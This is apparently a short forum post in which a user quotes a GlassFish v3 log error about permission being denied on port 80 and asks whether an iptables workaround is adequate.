[#|2010-03-20T13:25:21.925+0100|SEVERE|glassfishv3.0|javax.enterprise.system.core.com.sun.enterprise.v3.server|_ThreadID=11;_ThreadName=FelixStartLevel;|Shutting down v3 due to startup exception : Permission denied: 80=com.sun.enterprise.v3.services.impl.monitor.MonitorableSelectorHandler@1fc25e5|#] I haven't found a solution for that yet (after searching the web, it seems, that this isn't so easy?) But maybe, the solution with iptables is good enough - what do you think? Thanks, Chris
